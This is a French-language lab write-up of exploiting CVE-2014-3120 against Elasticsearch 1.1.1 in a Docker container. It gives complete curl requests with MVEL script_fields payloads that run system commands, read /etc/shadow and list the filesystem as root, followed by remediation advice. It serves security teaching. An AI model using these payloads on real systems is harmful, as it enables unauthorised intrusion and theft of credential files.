
Guide de laboratoire étape par étape démontrant l'exploitation de CVE-2014-3120 contre Elasticsearch 1.1.1, couvrant l'analyse de vulnérabilité, RCE via le scripting MVEL, et la post-exploitation dans un environnement Docker.
En partant de ce qui est exécuté dans l'environnement. Nous listons tous les conteneurs actifs :
docker ps

Résultat : Le conteneur p1/lab10:latest est en cours d'exécution, exposant 2 ports vers l'extérieur :
| Mappage de ports | Protocole |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (à vérifier) |
0.0.0.0:9300 → 9300/tcp | Inconnu |
Observation initiale : Les ports 9200 et 9300 sont couramment connus comme les ports par défaut d'Elasticsearch. Cependant, nous ne pouvons pas conclure uniquement sur la base des numéros de ports – de nombreux autres services peuvent se lier à n'importe quel port.
⇒ Nous utilisons curl directement sur chaque port pour vérifier quel service est réellement en cours d'exécution.
curl -i http://192.168.3.137:9300/

Analyse de la réponse :
curl: (52) Empty reply from serverÉvaluation : Le serveur a accepté la connexion TCP (pas de refus de connexion), mais n'a pas répondu en utilisant le protocole HTTP. Cela correspond au comportement du protocole Elasticsearch Transport sur le port 9300 – un protocole binaire utilisé pour la communication entre nœuds d'un cluster, pas HTTP.
⇒ État d'esprit : Le port 9300 utilise un protocole binaire → ne peut pas être exploité directement via curl/navigateur. Passer à la vérification du port 9200 – le port de l'API REST HTTP.
curl -i http://192.168.3.137:9200/

Analyse de la réponse :
Évaluation de la surface d'attaque :

⇒ État d'esprit : Elasticsearch 1.1.1 active Dynamic Scripting par défaut – permettant aux clients d'envoyer des scripts (expressions MVEL) dans les requêtes de recherche pour que le serveur les exécute. Sans bac à sable ni validation appropriée, un attaquant peut injecter un script malveillant pour exécuter des commandes système. Étape suivante : vérifier si Dynamic Scripting est effectivement actif sur la cible.
Elasticsearch prend en charge une fonctionnalité de Scripting – permettant aux clients d'envoyer des scripts (expressions mathématiques ou logiques) dans les requêtes de recherche pour que le serveur les exécute lors du traitement des résultats. Dans Elasticsearch 1.x, le moteur par défaut pour cette fonctionnalité est MVEL (MVFLEX Expression Language) .
Dans les versions d'Elasticsearch antérieures à 1.2, Dynamic Scripting est activé par défaut (script.disable_dynamic: false). Cela signifie :
script_fields dans l'API _searchjava.lang.Runtime.getRuntime().exec() pour exécuter des commandes systèmescript_fieldsLorsqu'une requête de recherche avec script_fields est envoyée, Elasticsearch va :
_searchscript_fields → trouver le script à exécuterEn Java, la manière la plus courante d'exécuter une commande système est :
Runtime.getRuntime().exec("commande");
MVEL, en tant que langage d'expression avec accès complet aux classes Java, permet d'invoquer cela directement :
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Explication de chaque partie :
⇒ État d'esprit : Avec Elasticsearch, la sortie de l'RCE est renvoyée directement dans la réponse – pas besoin de rediriger vers un fichier et de le relire. Cela rend l'exploit plus propre et plus rapide à vérifier.
Après avoir identifié la cible comme Elasticsearch 1.1.1, l'étape suivante consiste à vérifier si Dynamic Scripting est effectivement activé.
CVE-2014-3120 exploite le fait qu'Elasticsearch permet aux clients d'envoyer des scripts dans les requêtes _search. Si le script est exécuté par le serveur, un attaquant peut remplacer l'expression inoffensive par une charge utile qui appelle le Java Runtime pour exécuter des commandes système.
D'abord, nous créons un document de test pour garantir que la requête a au moins un résultat correspondant. Si aucun document ne correspond, script_fields ne sera pas évalué.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Puis on rafraîchit l'index :
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Ensuite, nous envoyons une requête _search avec script_fields contenant une expression MVEL inoffensive :
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Nous envoyons le script "1+1" et le serveur renvoie le résultat 2. Cela prouve qu'Elasticsearch non seulement reçoit la requête _search, mais exécute le script dynamique côté serveur.
⇒ Dynamic Scripting est actif sur la cible.
Puisque la cible est Elasticsearch 1.1.1, antérieur à 1.2, cela correspond aux conditions d'exploitation de CVE-2014-3120 : Elasticsearch avant la version 1.2 active Dynamic Scripting par défaut, permettant à un attaquant distant d'exécuter des expressions MVEL/du code Java via une requête de recherche.
Nous avons vérifié que script_fields est exécuté par Elasticsearch côté serveur via l'expression inoffensive "1+1" qui renvoie [2].
Cela prouve que la cible non seulement autorise les recherches standard, mais permet également aux clients d'envoyer un script MVEL pour que le serveur l'évalue lors du traitement de _search.
Avec CVE-2014-3120, le risque critique réside dans le fait que MVEL dans Elasticsearch 1.1.1 peut accéder aux classes Java. Par conséquent, au lieu d'envoyer une expression mathématique comme "1+1", un attaquant peut envoyer un script appelant le Java Runtime :
Runtime.getRuntime().exec("commande")
Il s'agit de l'API Java standard utilisée pour créer un nouveau processus et exécuter des commandes sur le système d'exploitation.
API _search
→ script_fields
→ expression MVEL
→ Java Runtime
→ Runtime.getRuntime().exec("commande")
→ getInputStream()
→ Scanner lit stdout
→ résultat renvoyé dans la réponse JSON
Charge utile RCE :
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Détail de la charge utile :
Résultat :
La réponse renvoie le champ fields.exploit contenant la sortie de la commande id :
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
Analyse :
La charge utile a bien invoqué Runtime.getRuntime().exec("id") via le script MVEL à l'intérieur de script_fields. Le fait que la réponse renvoie la sortie de la commande id prouve que la commande a été exécutée côté serveur.
Le résultat uid=0(root) gid=0(root) groups=0(root) indique que le processus Elasticsearch à l'intérieur du conteneur est exécuté avec les privilèges root.
Après avoir confirmé la RCE, les privilèges réels doivent être vérifiés en tentant de lire des fichiers sensibles :
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Résultat observé :
La réponse renvoie le contenu du fichier /etc/shadow :
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
Analyse :
Le fichier /etc/shadow est un fichier système sensible sous Linux, généralement lisible uniquement par l'utilisateur root ou les processus disposant de privilèges équivalents. À l'étape précédente, la commande id a renvoyé :
uid=0(root) gid=0(root) groups=0(root)
Cette étape confirme davantage par le comportement réel : la charge utile RCE parvient à lire /etc/shadow.
⇒ Elasticsearch à l'intérieur du conteneur est exécuté avec les privilèges root.
⇒ L'impact ne se limite pas à une exécution de commande typique, mais il s'agit d'RCE avec privilèges root à l'intérieur du conteneur.
Remarque : Le privilège root ici fait référence à root à l'intérieur du conteneur Docker. Nous ne pouvons pas conclure que l'attaquant dispose de privilèges root sur l'hôte sans preuve que le conteneur est exécuté en mode privilégié, qu'il monte le socket Docker ou qu'il monte des volumes sensibles de l'hôte.
La RCE est confirmée. Nous procédons à la collecte d'informations système pour évaluer le périmètre.
Après avoir confirmé la RCE avec les privilèges root, nous exécutons la commande ls -la / via la charge utile MVEL pour observer le système de fichiers à l'intérieur de la cible :
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Résultat : La réponse renvoie le contenu du répertoire / dans le champ rootfs.
Analyse :
Le fait que la sortie de ls -la / apparaisse dans la réponse JSON prouve que la commande a été exécutée sur la cible via RCE. Des fichiers tels que docker-entrypoint.sh, le répertoire elasticsearch et le lien symbolique docker-java-home indiquent que l'environnement compromis est un conteneur exécutant Elasticsearch.
⇒ L'attaquant peut lister le système de fichiers à l'intérieur du conteneur avec les privilèges root.
Comme le conteneur ne dispose pas du binaire /sbin/ifconfig, nous lisons directement /proc/net/route. Ce fichier ne nécessite pas d'utilitaires externes et fournit la table de routage du conteneur.
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Analyse :
Les résultats montrent que le conteneur dispose de l'interface eth0 et se trouve dans le réseau Docker 172.19.0.0/16. La passerelle par défaut est 172.19.0.1.
Cela prouve que le conteneur a une connectivité réseau interne via le pont Docker. Étant donné que l'attaquant dispose déjà d'une RCE avec les privilèges root à l'intérieur du conteneur, il pourrait théoriquement procéder à inspecter d'autres hôtes/services dans le même réseau Docker si les politiques réseau le permettent.
Cependant, cette sortie prouve seulement une visibilité réseau au niveau du routage, pas un pivotement réussi. Conclure à un pivotement nécessite des preuves supplémentaires comme le scan réussi d'un autre hôte, la connexion à un service interne ou la récupération de ressources depuis un autre réseau.
Sur la base des preuves recueillies lors de l'analyse, la cible exécute Elasticsearch 1.1.1 sur le port 9200. Cette version est antérieure à 1.2, la plaçant dans le périmètre affecté par CVE-2014-3120.
La vulnérabilité provient du fait qu'Elasticsearch active Dynamic Scripting par défaut avant la version 1.2, ce qui permet aux clients de soumettre des scripts MVEL via les requêtes de recherche. Dans ce lab, cette fonctionnalité a été confirmée fonctionnelle à l'aide de l'expression inoffensive "1+1", qui a renvoyé le résultat [2].
Par la suite, la charge utile MVEL a invoqué :
Runtime.getRuntime().exec("id")
La réponse a renvoyé :
uid=0(root) gid=0(root) groups=0(root)
Cela prouve qu'un attaquant peut exécuter des commandes système via Elasticsearch. De plus, la charge utile a réussi à lire /etc/shadow, confirmant que le privilège d'exécution est root à l'intérieur du conteneur.
1. Mettre à niveau Elasticsearch vers une version plus récente
Mettez à niveau Elasticsearch vers la version >= 1.2.0 (minimum) ou idéalement la version actuellement prise en charge (8.x). À partir de la version 1.2, Dynamic Scripting est désactivé par défaut.
2. Désactiver immédiatement Dynamic Scripting (si la mise à niveau n'est pas possible)
Ajoutez ce qui suit dans elasticsearch.yml :
script.disable_dynamic: true
Redémarrez Elasticsearch après avoir effectué cette modification. Cela désactive complètement la capacité des clients à soumettre des scripts dans les requêtes de recherche.
3. Ne pas exposer l'API REST Elasticsearch à des réseaux non fiables
Elasticsearch n'a pas d'authentification par défaut dans la version 1.x. Si elle doit être exposée, placez-la derrière un proxy inverse avec authentification ou liez-la uniquement à 127.0.0.1.
4. Activer l'authentification et le chiffrement
Les versions modernes d'Elasticsearch (7.x+) prennent en charge la sécurité intégrée (authentification, TLS). Si vous mettez à niveau, activez les fonctionnalités de sécurité :
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. Restreindre l'accès à l'aide d'un pare-feu
Autorisez uniquement les IP de confiance à accéder aux ports 9200 et 9300. Ne les exposez pas à Internet ou à l'ensemble du réseau interne.
6. Exécuter Elasticsearch avec un utilisateur à privilèges réduits
N'exécutez pas Elasticsearch sous l'utilisateur root. Créez un utilisateur dédié elasticsearch avec des privilèges minimaux. C'est une bonne pratique officielle :
| Champ | Valeur | Signification |
|---|
name | "Rage" | Nom du nœud Elasticsearch (nom aléatoire de personnage Marvel – comportement par défaut des anciennes versions d'ES) |
version.number | "1.1.1" | Version extrêmement ancienne – publiée en avril 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Construit en 2014 |
lucene_version | "4.7" | Lucene 4.7 – ancien moteur d'indexation |
tagline | "You Know, for Search" | Phrase de signature caractéristique d'Elasticsearch |
| Partie | Explication |
|---|
import java.io.* | Importer les classes Java IO |
Runtime.getRuntime() | Récupérer l'instance Java Runtime |
.exec("id") | Exécuter la commande shell id |
.getInputStream() | Récupérer le flux de sortie du processus |
new Scanner(...).useDelimiter("\\A").next() | Lire toute la sortie sous forme de chaîne |
| Partie | Objectif |
|---|
"size": 1 | Limite le résultat à 1 document |
"query" → "match_all" | Correspond à tous les documents (nécessite au moins 1 document existant dans l'index) |
"script_fields" → "exploit" | Définit un champ calculé exécutant le script MVEL |
"script": "import java.io.*; ..." | Expression MVEL qui exécute la commande id et renvoie la sortie |
| Critère | Évaluation | Détails |
|---|
| CVE | CVE-2014-3120 | Elasticsearch Dynamic Scripting RCE |
| Service affecté | Elasticsearch | API REST exposée sur le port 9200 |
| Version | 1.1.1 | Antérieure à 1.2, dans les versions affectées |
| Authentification | Non requise dans le lab | L'API REST répond directement, aucun identifiant requis |
| Conditions d'exploit | Dynamic Scripting activé | Confirmé par le script "1+1" renvoyant [2] |
| Privilèges obtenus | root dans le conteneur | id renvoie uid=0(root) |
| Impact | Très élevé | RCE, lecture de fichiers sensibles, listage du système de fichiers, collecte d'informations utilisateur/réseau |
| Périmètre | Conteneur | Aucune preuve de compromission de l'hôte pour l'instant |
| Pivotement | Potentiel à vérifier davantage | Le conteneur a une route via eth0 dans le réseau Docker 172.19.0.0/16 |